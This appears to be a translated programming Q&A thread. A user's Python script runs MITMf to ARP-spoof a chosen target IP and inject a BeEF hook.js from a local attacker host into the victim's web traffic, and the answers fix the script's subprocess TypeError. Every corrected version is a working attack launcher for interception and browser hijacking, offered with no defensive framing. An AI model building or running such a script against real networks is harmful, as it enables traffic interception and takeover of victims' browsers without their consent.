2016-03-04 53 views
0

我的代码是:无法运行CMD子进程不断得到错误

#! /usr/bin/env python 
ip_addr = raw_input("Enter your target IP: ") 
gateway = raw_input("Enter your gateway IP: ") 

from subprocess import call 
import subprocess 

import os 
os.chdir("/usr/share/mitmf/") 

subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False) 

和我出来说就是:

Traceback (most recent call last):          
File "./ARP_Beef.py", line 11, in <module> 
    subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False) 
TypeError: unsupported operand type(s) for %: 'list' and 'tuple' 

我无法弄清楚什么是错的。可有一个人帮我

回答

0

我会说:

subprocess.Popen(["python", "mitmf.py", "--spoof", "--arp", "-i", "wlan0", "--gateway", gateway, "--target", ip_addr, "--inject", "--js-url", "http://192.168.1.109:3000/hook.js"], shell = False) 

docs.python.org:单列表元素做“在Unix上,如果args是一个字符串,该字符串被解释为要执行的程序的名称或路径。但是,如果不将参数传递给程序,则只能执行

+0

这看起来像它会工作,但没有解释提问者错误的原因。 –

0

删除'['']'

"python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js" % (gateway, ip_addr) 
0

TypeError: unsupported operand type(s) for %: 'list' and 'tuple'

这意味着你不能做的:

>>> ['%s'] % ('b',) 
Traceback (most recent call last): 
    File "<stdin>", line 1, in <module> 
TypeError: unsupported operand type(s) for %: 'list' and 'tuple' 

你应该通过每个命令行参数作为一个单独的列表项改为:

#!/usr/bin/env python 
import subprocess 
import sys 

gateway, ip_addr = 'get them', 'however you like' 
subprocess.check_call([sys.executable] + 
    '/usr/share/mitmf/mitmf.py --spoof --arp -i wlan0'.split() + 
    ['--gateway', gateway, '--target', ip_addr] + 
    '--inject --js-url http://192.168.1.109:3000/hook.js'.split(), 
         cwd="/usr/share/mitmf/") 
相关问题